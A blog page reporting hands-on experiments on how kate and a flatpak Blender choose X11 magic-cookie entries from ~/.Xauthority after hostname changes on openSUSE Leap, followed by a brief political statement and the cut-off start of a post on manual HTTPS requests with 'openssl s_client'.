Opensuse Leap, X, xauth, flatpak vs. kate – deviating selection of magic cookie entries in .Xauthority – I

On an average Linux system xorg’s X services or (X)Wayland services are fundamental building blocks for graphical user interfaces like KDE. We use these services every day without thinking much about security measures and other processes in the background. But sometimes strange events wake you up from daily routine. This blog post got triggered by such an event – namely an odd and varying reaction of an X-client application to changes of the network name of a Linux host (running Opensuse Leap 15.3).

This post focuses on a standard cookie-based access mechanism of X-clients to local Xorg-services on the very same Linux host. The basic idea is that the X-server grants access to its socket and services only if the X-client presents a fitting “secret” cookie. The required magic cookie value is defined by the X-server when it is started. The X-client gets information about X-related cookies from a user specific file ~/.Xauthority which may contain multiple entries. I will show that changing of the name of the host, i.e. the hostname, may have an unexpected impact on the subsequent start of X-clients and that different X-clients may react in deviating ways to a hostname change.

The ambiguity in the startup process of an X-client after a hostname change – even if the correct cookie is in principle available – is demonstrated by different reactions of a standard KDE application, namely kate, and a flatpak-based application, namely Blender. Flatpak is of interest as there are many complaints on the Internet regarding an unexplained denial of X-server access, especially on Opensuse systems.

We first look a bit into basic settings for a standard MIT-1 cookie based access mechanism. (For an in-depth introduction to X-server security readers will have to consult specific documentation available from Xorg). Afterward I will show that the rules for selecting a relevant cookie entry in the file .Xauthority deviate between the applications named above. The analysis will show that there is an intimate relation of these rules with available sources of the hostname and .Xauthority entries for various hosts. Hostname changes during running X-sessions may, therefore, have an impact on the start of graphical applications. An unexpected negative impact may even occur after a restart of the DisplayManager.

In this post we look at the effects of hostname changes during a running X-session, e.g. a KDE-session. In further posts I will look a bit deeper into sequences of actions a user may perform following a hostname change – such as a simple logout from and a new login into a graphical session or a full restart of systemd’s graphical target. Even then the consequences of a hostname change may create confusion. If and when I find the time I may also look into aspects of Wayland access in combination with KDE applications and flatpak.

What had happened? Denial and acceptance of Xorg-server access for a flatpak-based application after changing the host’s name …

Some days ago, I came to a location where I had to use a friend’s WLAN router to get an Internet connection. On my laptop NetworkManager controls the WLAN access. NetworkManager has an option to submit a hostname to the router. As I do not want my standard hostname to be spread around I first changed it via YaST during a running KDE-session. Then I configured NetworkManager for the local WLAN and restarted the network. Access to the WLAN router and Internet worked as expected. However, when I tried to start a flatpak based Blender installation I got the message

Invalid MIT-MAGIC-COOKIE-1 key Unable to open a display

This appeared to be strange because the flatpak Blender installation had worked flawlessly before the change of the hostname and before WLAN access. The question that hits you as a normal Linux user is: What do a hostname change and a network restart have to do with the start of a flatpak application in an already running KDE session?

Then I changed the hostname again to a different string – and could afterward start flatpak Blender without any X-authorization problem. Confused? I was.

Then I combined the change of the hostname with an intermediate start of the display manager and/or a stop and restart of systemd’s “graphical target” – and got more disturbing results. So I thought: This is an interesting area worth of looking into it a bit deeper.

The error message, of course, indicated problems with an access to the display offered by the running X-server. Therefore, I wanted answers to the following questions:

  • Why did the magic cookie fail during an already running X-session? Had the X-access conditions not been handled properly already when I logged myself into my KDE session?
  • Why was the magic cookie information invalid the first time, but not during the second trial?
  • What impact has the (changed) hostname on the cookie-based X-authorization mechanism?
  • What can I check by which tool regarding xauth-problems?
  • What does flatpak exactly send to the X server when asking for access?
  • Which rules govern the cookie based X-authorization mechanism for other applications than flatpak-based applications?

I had always assumed that X socket access would follow clear rules – independent of a specific X-client. But after some simple initial tests I started wondering whether the observed variations regarding X access had something to do with entries in the ~/.Xauthority file of the user which I had used to log into my KDE-session. And I also wondered whether a standard KDE application like “kate” would react to hostname changes in really the same way as a flatpak application.

Changes of ~/.Xauthority entries …

During a series of experiments I started to manipulate the contents of the ~/.Xauthority file of the user of a running KDE session. Whilst doing so I compared the reaction of a typical KDE application like kate with the behavior of a (sandboxed) flatpak Blender installation. And guess what: The reactions were indeed different.

You find the details of the experiments below. I have not yet analyzed the results with respect to potential security issues. But the variability in the selection and usage of .Xauthority entries by different applications appears a bit worrisome to me. In any case the deviating reactions at least have an impact upon whether an X-client application does start or does not start after one or multiple hostname changes. This makes an automatic handling of certain X-client starts by user scripts a bit more difficult than expected.

“Transient” state of a Linux system regarding its hostname?

The basic problem is that a user can create a transient system status regarding a change of the static name of a host: A respective entry in the file /etc/hostname may differ from values which other resources of the running graphical desktop session may provide to the user or programs. Transient is a somewhat problematic term. E.g. the command “hostnamectl” may show a transient hostname for some seconds when you change the contents of /etc/hostname directly – until a (systemd) background process settles the status. So what exactly do I mean by “transient”?

By “transient” I mean that a change of the static hostname in /etc/hostname may not be reflected by environment variables containing hostname information, e.g. by the variables HOST and HOSTNAME. Conflicting hostname information may occur as long as we do not restart the display manager and/or restart the “graphical target” of systemd after a change of the hostname.

To my astonishment I had to learn that it is not self-evident what will happen in such transient situations regarding access authorization to an Xorg-server via a so called “magic MIT-1 cookie“. This is partially due to the fact that the file “~/.Xauthority” may contain multiple entries. See below.

Objectives of this post

In this first post on the topics named above I will have a look at what happens

  • when we change the static hostname during a running X-session (e.g. a KDE session),
  • when we change entries in the ~/.Xauthority file during a running X-session, in particular with respect to hostname(s), and try to start an X-client afterwards.

The second point will help us to identify rules which X-client applications follow whilst choosing and picking up a cookie value among multiple entries in the file “~/.Xauthority”. We compare the behavior of “kate” as an example for a KDE application with the reaction of a sandboxed flatpak application (Blender). The astonishing result will be that the rules really differ. The rules for flatpak may prevent a start of a flatpak application although a valid entry may be present in .Xauthority.

Our starting point: A consistent system-status regarding the hostname in a LAN or WLAN environment

The whole problem of an invalid cookie started with a hostname change ahead of a WLAN access. Why is a defined hostname important? How do we change it on an Opensuse system? What are potential sources on the system regarding information about the present hostname? And what should a consistent situation at the beginning of experiments with hostname changes look like?

In a typical structured LAN/WLAN there are multiple hosts wanting to interact with servers on the Internet, but also with each other or servers in (sub-) networks. As an administrator you may define separate sub-nets behind a common gateway. Members of a sub-net may be objects to routing and firewall restrictions regarding the communication with other hosts in the same or other sub-nets or servers on the Internet. As we humans operate with host-names rather than IP-addresses we may give hosts unique names in a defined (sub-) network, use DHCP to statically or dynamically assign IP addresses (and maybe even host-names) and use DNS-services to translate hostnames and related FQDNs into IP-addresses. In a local LAN/WLAN you may have full control over all these ingredients and design a consistent landscape of named and interacting hosts. Plus a pre-designed network segregation, host- routers, gateways, gateway-/perimeter-firewalls, etc.

The situation may be different when you put your laptop in a foreign and potentially dangerous WLAN environment. In my case I use Networkmanager on Leap 15.3 (soon 15.4) to configure WLAN access. The WLAN routers in most networks I have to deal with most often offer both DHCP and DNS services. The IP-address is assigned dynamically. The router’s DNS server works as a forwarder with respect to the Internet. But regarding the local network, which the router controls, the DNS-service of the router may respect your wishes regarding a hostname or not. And you do not know what other hosts creep around in the network you become a member of – and how they see you with respect to your host’s name.

There are three important things I want to achieve in such a situation:

  1. As soon as a WLAN connection to a router gets up I want to establish firewall rules blocking all incoming traffic and limit the outgoing traffic as much as possible.
  2. I do not want the WLAN routers to mingle with the hostname set by me, because this name play a role in certain scripts and some host-internal virtual network environments.
  3. Other friendly hosts in the network may ping me under a certain defined hostname – which the DNS part of the WLAN router should be informed about.

All these things can be managed directly or indirectly by Networkmanager (and some additional scripts). In particular you can a start a script that installs netfilter rules for a certain pre-defined hostname and does further things – e.g. delete or supplement entries in “/etc/hosts”.

However, the host’s name has somehow to be defined ahead of the network connection. There are multiple options to do this. One is to edit the file “/etc/hostnames”. Another is offered by YaST on Opensuse systems. A third is a script of your own, which in addition may manage settings in /etc/hosts, e.g. regarding virtual networks controlled by yourself.

Under perfect circumstances you may achieve a status where you have a well defined static hostname not touched by the WLAN router, a local host-based firewall controlling all required connections and your chosen hostname has been accepted by the router and integrated into its own DNS domain.

Let us check this for the WLAN environment at one of my friends locations:

myself@xtux:~> hostname; cat /etc/hostname; echo $HOST; echo $HOSTNAME; echo $XAUTHLOCALHOSTNAME; echo $SESSION_MANAGER; hostnamectl
xtux
xtux
xtux
xtux
xtux
local/xtux:@/tmp/.ICE-unix/7289,unix/xtux:/tmp/.ICE-unix/7289
   Static hostname: xtux
         Icon name: computer-laptop
           Chassis: laptop
        Machine ID: ...... (COMMENT: long ID) 
           Boot ID: b5d... (COMMENT: long ID)
  Operating System: openSUSE Leap 15.3
       CPE OS Name: cpe:/o:opensuse:leap:15.3
            Kernel: Linux 5.3.18-150300.59.101-default
      Architecture: x86-64
myself@xtux:~> 

myself@xtux:~ # ping xtux
PING xtux.home (192.168.10.186) 56(84) bytes of data.
64 bytes from xtux.home (192.168.10.196): icmp_seq=1 ttl=64 time=0.030 ms
64 bytes from xtux.home (192.168.10.196): icmp_seq=2 ttl=64 time=0.060 ms
^C
--- xtux.home ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2013ms

(The COMMENTs are not real output, but were added by me.)
You see that there is a whole variety of potential sources regarding information about the host’s name. In particular there are multiple environment variables. In the situation shown above all information sources agree about the host’s name, namely “xtux”. But you also see that the local domain name used by the WLAN router is a default one used by a certain router vendor. You would get the domain present name used also by issuing the command “dnsdomainname” at a shell-prompt.

An interesting question is: Which sources will register a hostname change during a running KDE session? Another interesting question is: Is the hostname used for local X-access authorization? The answers will be given by the experiments described below.

Cookie based X-server access by the MIT-MAGIC-COOKIE-1 mechanism

X-server access can be controlled by a variety of mechanisms. The one we focus on here is a cookie-based access. The theory is that an X-server when it starts up queries the hostname and creates a “secret” cookie plus a hash defining a file where the server saves the cookie. Afterward any X-client must provide this specific magic cookie when trying to get access to the X-server (more precisely to its socket). See e.g. a Wikipedia article for these basic principles.

Let us check what happens when we start a X-server. On an Opensuse system a variety of systemd-services is associated with a pseudo-state “3” of the host which can be set by a command “init 3”. This “state” corresponds, of course, to a systemd target. Network and multiuser operations are provided. A command “init 5” then moves the system to the graphical target. This includes the start of the Display Manager – in my case sddm. sddm in turn starts xorg’s X server. On an Opensuse system see the file /etc/sysconfig/displaymanager for respective settings.

Now let us get some information from the system about these points. First we look at the command which had been used to start the X-server. As root:

xtux:~ # pgrep -a X
16690 /usr/bin/X -nolisten tcp -auth /run/sddm/{0ca1db02-e253-4f2b-972f-9b124764a65f} -background none -noreset -displayfd 18 -seat seat0 vt7

The path after the -auth option gives us the location of the file containing the “magic cookie”. We can analyze its contents by the xauth command:

xtux:~ # xauth -f /run/sddm/\{0ca1db02-e253-4f2b-972f-9b124764a65f\} list
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0

(Hint: The tab-key will help you to avoid retyping the long hash). Ok, here we have our secret cookie for further authentication of applications wanting to get access to the X-server’s socket.

The other side of the story is the present user who opened an X-session – in my case a KDE session. Where does it or any X-clients, which the user later starts on a graphical desktop, get the knowledge about the required cookie from?

Answer: Whilst logging in via the DisplayManager an entry is written into or replaced inside the file ~/.Xauthority (by a root controlled process). If this file does not exist it is created.

The .Xauthority file should normally not be edited as it contains non-interpretable characters. But the command “xauth list” helps again to present the contents in readable form. It automatically picks the file ~/.Xauthority:

myself@xtux:~> xauth list
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0

We see the same cookie here as on the local X-server’s side. Any applications with graphical output can and should use this information to get access to the X-server. E.g. “ssh -X” can use this information to rewrite cookie information set during interaction with a remote system to the present local X-server cookie. And there are of course the sandboxed flatpak applications in their namespaces. Note that the screen used by definition is :0 on the local host.

Note further that the situation regarding .Xauthority is ideal: In our present situation it contains only one entry. On systems working a lot on different remote hosts this file normally contains multiple entries, in particular if you have opened X-connections to other hosts in the past. Or, if you have changed your hostname before …

Access to the running X-server by a flatpak-based Blender installation

When we start a flatpak Blender installation this will just open the Blender interface on the hosts graphical desktop screen. We can close Blender directly afterward again.

myself@xtux:~> flatpak run org.blender.Blender &
[1] 23145
myself@xtux:~> Saved session recovery to '/tmp/quit.blend'

Blender quit

[1]+  Fertig                  flatpak run org.blender.Blender
myself@xtux:~> 

We shall later see that flatpak replaces a screen-number :99 used in the applications namespace to :0 when interacting with the locally running X-server. In this respect it seems to work similar to “ssh -X”.

Disturbing the hostname settings

What happens if we disturb the initial consistent setup by changing the host’s name during a running X-session?

We have already identified potential sources of a mismatch regarding the hostname: /etc/hostname vs. a variety of environment variables vs. the DNS system.
The reader has certainly also noticed that the entry in the ~/.Xauthority file starts with the present name of the host. So here we have yet another potential source of a mismatch after a change of the hostname.

There are obvious limitations: The present cookie value stored at the location /run/sddm/\{..} should not be overwritten. This may disturb running X-clients and the start of other application windows in sub-shells of the running KDE-session. Changing environment variables which contain the hostname, may be dangerous, too.

On the other side the entry in ~/.Xauthority may not fit the new hostname if the entry is not being adapted. Actually, changing the hostname via YaST on an Opensuse system leaves .Xauthority entries as they were. So how would a KDE application and a flatpak application react to such discrepancies?

Basic Experiment: Change the hostname during a KDE session and try to run a flatpak-based Blender application afterward

There are multiple options to change the hostname. We could overwrite the contents of /etc/hostname directly as root. (And wait for some systemd action to note the difference) But that does not automatically change other network settings. Let us use therefore use YaST in the form of the graphical yast2.

We just ignore the warning and define a new hostname “xmux”. Then we let yast2 do its job to reconfigure the network settings. Note that this will not interrupt an already running NetworkManager-controlled WLAN connection. Afterward we check our bash environment:

myself@xtux:~> hostname; cat /etc/hostname; echo $HOST; echo $HOSTNAME; echo $XAUTHLOCALHOSTNAME; echo $SESSION_MANAGER; hostnamectl
xmux
xmux
xtux
xtux
xtux
local/xtux:@/tmp/.ICE-unix/7289,unix/xtux:/tmp/.ICE-unix/7289
   Static hostname: xmux
         Icon name: computer-laptop
           Chassis: laptop
        Machine ID: .....   (COMMENT: unchangd long string) 
           Boot ID: 65c..   (COMMENT: changed long string)
  Operating System: openSUSE Leap 15.3
       CPE OS Name: cpe:/o:opensuse:leap:15.3
            Kernel: Linux 5.3.18-150300.59.101-default
      Architecture: x86-64
myself@xtux:~> xauth list
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0

We got a new bootid, but neither the environment variables nor the contents of ~/.Xauthority have been changed. Will our flatpak-based Blender run?
Answer: Yes, it will – without any warnings! Will kate run? Yes, it will, but with some warning:

myself@xtux:~> kate &
[1] 6685
myself@xtux:~> No protocol specified

The reaction of kate is a bit questionable. Obviously, it detects an unexpected discrepancy, but starts nevertheless.

There are 2 possible explanations regarding flatpak: 1) flatpack ignores the hostname in the .Xauthority entry. It just reacts to the screen number. 2) flatpak remembers the last successful cookie and uses it.

How can we test this?

Preparation of further experiments: How to change the contents of .Xauthority manually

One way to test the reaction of applications to discrepancies of a changed hostname with cookie entries in .Xauthority is to manually change entries in this file. This is not as easy as it may seem as this file has weird characters in it. But it is possible with the help of kate or kwrite. You need an editor which can grasp most of the symbols in a sufficient way. vi is not adequate.

BUT: You have to be very careful when copying entry lines. Identify the symbol sequence marking the beginning of an entry is a first important step. Note also: When you change a hostname of an entry you must use one of the same length!
AND: Keep a copy of the original .Xauthority-file somewhere safe during your experiments.

Multiple entries in ~/.Xauthority

The file ~/.Xauthority can in principle have multiple entries for different hosts and different X-servers. Among other scenarios multiple entries are required to cover situations for

  1. for direct access of a local X-client via a network to other hosts’ X-servers
  2. for remote application access based on “ssh -X” and a display of the output on the local host’s X-server.

Furthermore: A restart of an X-server will lead to new additional entries in ~/.Xauthority, whilst existing entries are kept there.

Therefore, it is wise to work with multiple entry lines in ~/.Xauthority for further experiments. However: Multiple entries with a combination of hostnames and cookie values open up a new degree of freedom:

The decision whether an X-client application gets successfully started or not will not only depend on a cookie match at the X-server, but also on the selection of an entry in the file ~/.Xauthority.

Hopefully, the results of experiments, which mix old, changed and freely chosen hostnames with valid and invalid cookie values will give us answers to the question of how a hostname change affects running X-sessions and freshly started X-clients. We are especially interested in the rules that guide an application when it must select a particular entry in .Xauthority among others. If we are lucky we will also get an idea about how an intermediate restart of the X-server after a hostname change may influence the start of X-clients afterward.

During the following experiments I try to formulate and improve rules regarding kate and flatpak applications with respect to the selection and usage of entries in .Xauthority.

Please note:

In all forthcoming experiments we only consider local applications which try to gain access to a locally running X-server!

The cookie of an entry in ~/.Xauthority is considered to be “correct” if it matches the magic cookie of the running X-server. Otherwise we regard it as “incorrect” with respect to the running X-server.

Experiment 1: Change of the file ~/.Xauthority – leading entry for the original hostname with an incorrect cookie, second entry for new hostname with the correct cookie

I prepared a file /home/myself/.Xauthority (as root) during the running X-session with the following entries:

myself@xtux:~> xauth list
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
myself@xtux:~> kate
myself@xtux:~> flatpak run org.blender.Blender &
[1] 28187
myself@xtux:~> Invalid MIT-MAGIC-COOKIE-1 keyUnable to open a display
^C
[1]+  Exit 134                flatpak run org.blender.Blender
myself@xtux:~>

You see that I have changed the hostname (xtux) of our original entry (with the correct cookie) to the meanwhile changed hostname (xmux). This entry is associated with the presently valid magic cookie. And I have added a leading entry with the original hostname, but a modified and therefore invalid cookie value.

Now, let us check what a KDE application like kate would do afterward: The output above shows that it just started – without any warning. However, flatpak did and does NOT start:

myself@xtux:~> flatpak run org.blender.Blender &[1] 16686
myself@xtux:~> Invalid MIT-MAGIC-COOKIE-1 keyUnable to open a display

Experiment 2: ~/.Xauthority with a first entry for the new hostname but with an invalid cookie, plus a second entry for the original hostname with the correct cookie

Let us change the entries to:

myself@xtux:~> xauth list
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
myself@xtux:~> kate
Invalid MIT-MAGIC-COOKIE-1 keymyself@xtux:~> flatpak run org.blender.Blender &
[1] 28371
myself@xtux:~> Invalid MIT-MAGIC-COOKIE-1 keyUnable to open a display
^C
[1]+  Exit 134                flatpak run org.blender.Blender
myself@xtux:~> 

It may seem that a line break is missing in the output and that kate did not start. But this is wrong:

  • Kate actually DID start! But it produced an alarming warning!
  • However flatpak did NOT start AND gave us a warning!

Meaning:

We got a clear indication that

  • different entries are used by our two applications and
  • that the potential discrepancies of the hostnames associated with the .Xauthority-entries in comparison to environment variables and /etc/hostname are handled differently by our two applications.

Why kate starts despite the clear warning is a question others have to answer. I see no direct security issue, but I have not really thought it through.

Experiment 3: ~/.Xauthority with a leading entry for original hostname and the correct cookie plus entry for the new hostname but an incorrect cookie

Let us now change the order of the cookie entries:

myself@xtux:~> xauth list
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
myself@xtux:~> kate
Invalid MIT-MAGIC-COOKIE-1 keymyself@xtux:~> flatpak run org.blender.Blender &
[1] 28571
myself@xtux:~> /run/user/1004/gvfs/ non-existent directory
Saved session recovery to '/tmp/quit.blend'

Blender quit

[1]+  Fertig                  flatpak run org.blender.Blender
myself@xtux:~> 

kate again gives us a warning, but starts.
And, oh wonder, flatpak now does start Blender in its namespace without any warning!

Experiment 4: ~/.Xauthority with a leading entry for the new hostname and the correct cookie, plus an entry for the original hostname but an invalid cookie

Let us switch the hostnames again in the given order of the cookie entries. This gives us the last variation for mixing the new and the old hostnames with valid/invalid cookies :

myself@xtux:~> xauth list
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
myself@xtux:~> kate
myself@xtux:~> flatpak run org.blender.Blender &
[1] 28936
myself@xtux:~> /run/user/1004/gvfs/ non-existent directory
Saved session recovery to '/tmp/quit.blend'

Blender quit

[1]+  Fertig                  flatpak run org.blender.Blender
myself@xtux:~> 

kate now starts without any warning. And also flatpak starts without warning.

Intermediate, but insufficient interpretation – reason for further experiments

How can we interpret the results above? So far the results are consistent with the following rules:
kate: Whenever the cookie associated with the present static hostname in .Xauthority matches the X-server’s cookie kate will start without warning. Otherwise it issues a warning, but starts nevertheless.
flatpak: Whenever the first entry in .Xauthority provides a cookie that matches the X-server’s cookie for the session than flatpak starts an X-client program like Blender.

But things are more complicated than this. We also have to check what happens if we, for some reason, have entries in ~/.Xauthority that reflect a hostname neither present in /etc/hostname nor in environment variables. (Such an entry may have resulted from previous access trials to the X-servers of remote hosts or “ssh -X” connections.)

I will call such a hostname a locally “unknown hostname” below. It admit that this is not the best wording, but it is a short one. A “known hostname” instead is one either provided by environment variables or being present in /etc/hostname.

Experiment 5: ~/.Xauthority with a leading entry for an unknown hostname and the correct cookie, plus an entry for the new hostname but an incorrect cookie

Entries of the form

myself@xtux:~> xauth list
xfux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44

reflect such a situation.

The reactions of both kate and flatpak are negative in the given situation:

myself@xtux:~> xauth list
xfux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
myself@xtux:~> kate
Invalid MIT-MAGIC-COOKIE-1 keyNo protocol specified
qt.qpa.xcb: could not connect to display :0
qt.qpa.plugin: Could not load the Qt platform plugin "xcb" in "" even though it was found.
Failed to create wl_display (No such file or directory)
qt.qpa.plugin: Could not load the Qt platform plugin "wayland" in "" even though it was found.
This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.

Available platform plugins are: wayland-org.kde.kwin.qpa, eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, wayland-egl, wayland, wayland-xcomposite-egl, wayland-xcomposite-glx, xcb.

Abgebrochen (Speicherabzug geschrieben)
myself@xtux:~> 
myself@xtux:~> flatpak run org.blender.Blender &
[1] 30565
myself@xtux:~> Invalid MIT-MAGIC-COOKIE-1 keyUnable to open a display
^C
[1]+  Exit 134                flatpak run org.blender.Blender
myself@xtux:~> 

Meaning:

flatpak reacts allergic to entries with unknown hostnames and to entries with known hostnames, but with a wrong cookie.

Experiment 6: ~/.Xauthority with a leading entry for the new hostname and the correct cookie, plus an entry for an unknown hostname with an invalid cookie

However:

myself@xtux:~> xauth list
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
xfux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
myself@xtux:~> kate
myself@xtux:~> flatpak run org.blender.Blender &
[1] 30710
myself@xtux:~> /run/user/1004/gvfs/ non-existent directory
Saved session recovery to '/tmp/quit.blend'

Blender quit

[1]+  Fertig                  flatpak run org.blender.Blender
myself@xtux:~> 

Both applications start without warning!

Experiment 7: ~/.Xauthority with a leading entry for the original hostname and the correct cookie, plus an entry for an unknown hostname with an invalid cookie

The reaction of our applications changes again for the following settings:

myself@xtux:~> xauth list
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
xfux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
myself@xtux:~> kate
No protocol specified
myself@xtux:~> flatpak run org.blender.Blender &
[1] 30859
myself@xtux:~> /run/user/1004/gvfs/ non-existent directory
Saved session recovery to '/tmp/quit.blend'

Blender quit

[1]+  Fertig                  flatpak run org.blender.Blender
myself@xtux:~> 

Meaning:

If the hostname associated with the right cookie is present in the environment variables, but does not correspond to the contents of /etc/hostname then kate will start with some warning. Flatpak starts starts without warning.

Experiment 8: ~/.Xauthority with a leading entry for an unknown hostname and an incorrect cookie, plus an entry for a known hostname with an invalid cookie

Switching entries and renaming confirms previous results:

myself@xtux:~> xauth list
xfux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
xtux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
myself@xtux:~> kate
No protocol specified
myself@xtux:~> flatpak run org.blender.Blender &
[1] 31113
myself@xtux:~> /run/user/1004/gvfs/ non-existent directory
Saved session recovery to '/tmp/quit.blend'

Blender quit

[1]+  Fertig                  flatpak run org.blender.Blender

And:

myself@xtux:~> xauth list
xfux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2a44
xmux/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
myself@xtux:~> kate
myself@xtux:~> flatpak run org.blender.Blender &
[1] 31348
myself@xtux:~> /run/user/1004/gvfs/ non-existent directory
Saved session recovery to '/tmp/quit.blend'

Blender quit

Experiment 9: ~/.Xauthority with entries for unknown hostnames, only

Let us use unknown hostnames, only.

myself@xtux:~> xauth list
xfuxi/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
xruxi/unix:0  MIT-MAGIC-COOKIE-1  650ade473bc07c2e981d6174871c2ad0
myself@xtux:~> kate
No protocol specified
No protocol specified
qt.qpa.xcb: could not connect to display :0
qt.qpa.plugin: Could not load the Qt platform plugin "xcb" in "" even though it was found.
Failed to create wl_display (No such file or directory)
qt.qpa.plugin: Could not load the Qt platform plugin "wayland" in "" even though it was found.
This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.

Available platform plugins are: wayland-org.kde.kwin.qpa, eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, wayland-egl, wayland, wayland-xcomposite-egl, wayland-xcomposite-glx, xcb.

Abgebrochen (Speicherabzug geschrieben)
myself@xtux:~> flatpak run org.blender.Blender &
[1] 29115
myself@xtux:~> No protocol specified
Unable to open a display
^C
[1]+  Exit 134                flatpak run org.blender.Blender

So, having unknown hostnames only, will lead to no X-access, neither for flatpak nor kate.

Derived rules for the selection of an entry in ~/.Xauthority

So the rules for our two selected applications regarding the selection of an entry in ~/.Xauthority and resulting X-server access are more like described below:

  • kate: If an entry in .Xauthority has a known hostname and fits the X server’s cookie kate is started – with a warning, if the hostname does not fit the present static hostname (in /etc/hostname). If there is an additional deviating entry for the present static hostname, but with an incorrect cookie then the warning includes the fact that the cookie is invalid, but kate starts nevertheless.
  • flatpak Blender: The first entry which matches a known hostname (among the available ones from environment variables or from /etc/hosts) and which matches screen :0 is used to pick the respective cookie for X-server access. The application (X-client) only starts if the resulting cookie matches the X-server’s cookie.
  • Both: If ~/.Xauthority does not contain entries which match any of the known hostnames than both programs fail regarding X-access. kate does check for other possible sockets (e.g. for (X)Wayland) in this case.

When evaluating these rules with respect to security issues one should always keep in mind that .Xauthority-entries like the ones we have artificially constructed may have been the result of a sequence of hostname changes followed by restarts of the X-server. This will become clearer in the next post.

Conclusion

By some simple experiments one can show that the access to an Xorg-server requested by a X-client application does not only depend on a cookie match but also on the combination of hostnames and associated magic cookie values offered by multiple entries in the file ~/.Xauthority. The rules by which an X-client application selects a specific entry may depend on the application and the rules may differ from those other applications follow. We have seen that at least a flatpak based Blender installation follows other rules than e.g. KDE’s kate. Therefore, changes of the hostname during a running X-session may have an impact on the startup of applications. E.g. if .Xauthority already contains an entry for the new hostname.

The attentive reader has, of course, noticed that the experiments described above alone do not explain the disturbing reaction of flatpak to hostname changes described in the beginning. These reactions had to do with already existing entries for certain hostnames in .Xauthority. Additional entries may in general be the result of previous (successful) accesses to remote hosts’ X-servers or previous local hostname changes followed by X-server restarts. In the next post I will, therefore, extend the experiments to intermediate starts of both the X-server and the graphical target after hostname changes.

Links

Opensuse Leap 15.3 documentation on xauth

Stackoverflow question on “How does X11 authorization work? (MIT Magic Cookie)”

Stackexchange question on Invalid MIT-MAGIC-COOKIE-1 keyxhost: unable to open display “:0”

Opensuse bug Bug 1137491 – flatpak/snap: “Invalid MIT-MAGIC-COOKIE-1 key” after resume (network/hostname changes?)

Also see comment of the 25th og January, 2019, in an archived Opensuse.org contribution

 

And before we who love democracy and freedom forget it:
The worst fascist, war criminal and killer living today is the Putler. He must be isolated at all levels, be denazified and sooner than later be imprisoned. Somebody who orders the systematic destruction of civilian infrastructure must be fought and defeated because he is a danger to mankind and principles of humanity. Long live a free and democratic Ukraine!

Manual requests to a https web-server with “openssl s_client”: do not forget the options “-ign_eof -crlf”

Sometimes you may need to analyze the behavior and responses of a web-server or a REST service to certain requests. And sometimes you are restricted to the command line of a Linux system (e.g. during penetration testing). Then you have to type and send HTTP commands in a direct manner. While this is trivial with telnet and HTTP-commands via n unencrypted connection on port 80, you must use a tool like openssl for HTTPS-servers using TLS tunnels.

A quick search on the Internet will show you that you should be able to use “openssl” on a Linux system in the following form:

openssl s_client -connect YOUR_TARGET_WEB_DOMAIN:443

Or – if you do not want to look at certificates and related CA chains in detail – with an additional option “-quiet”:

openssl s_client -quiet -connect YOUR_TARGET_WEB_DOMAIN:443

YOUR_TARGET_WEB_DOMAIN has to be replaced, of course, by a valid URI. For restricting the encryption to TLS V1.2 you would instead use:

openssl s_client -quiet -tls1_2 -connect YOUR_TARGET_WEB_DOMAIN:443

For some servers an additional option “-ign_eof” can be helpful: This hinders a connection to directly close when an “end of file” [EOF] may be reached (during a response). Meaning: The response will not be shown in some cases. The option “-quiet” triggers a “-ign_eof” behavior implicitly. But keep in mind that this option does not hinder any timeouts on the connection imposed by the server.

A problem with the interactive “openssl s_client” command-line on Linux systems

After entering the above commands at the command prompt of a Linux shell (e.g. bash) you will first see some information regarding the connection handshake and the establishment of the encryption tunnel. Then end up on a line where you can interactively enter HTTP commands. You expect to successfully enter commands in the following way:

We type “GET / HTTP/1.1.” (without the quotes)    =>    we press the “ENTER”-key    =>    we get a new line    =>    we type “Host: YOUR_TARGET_WEB_DOMAIN” (without the quotes)    =>    we press the “ENTER”-key twice.

You may try this sequence with “google.com”. This will work! You get, however, an information that the document has been moved to “www.google.com”. But at the new address everything is working, too.

So far so good! But let us try the given recipe with another domain: www.debian.org. Using the command line within “s_client” then leads to an error:

.....
    Start Time: 1609195616
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
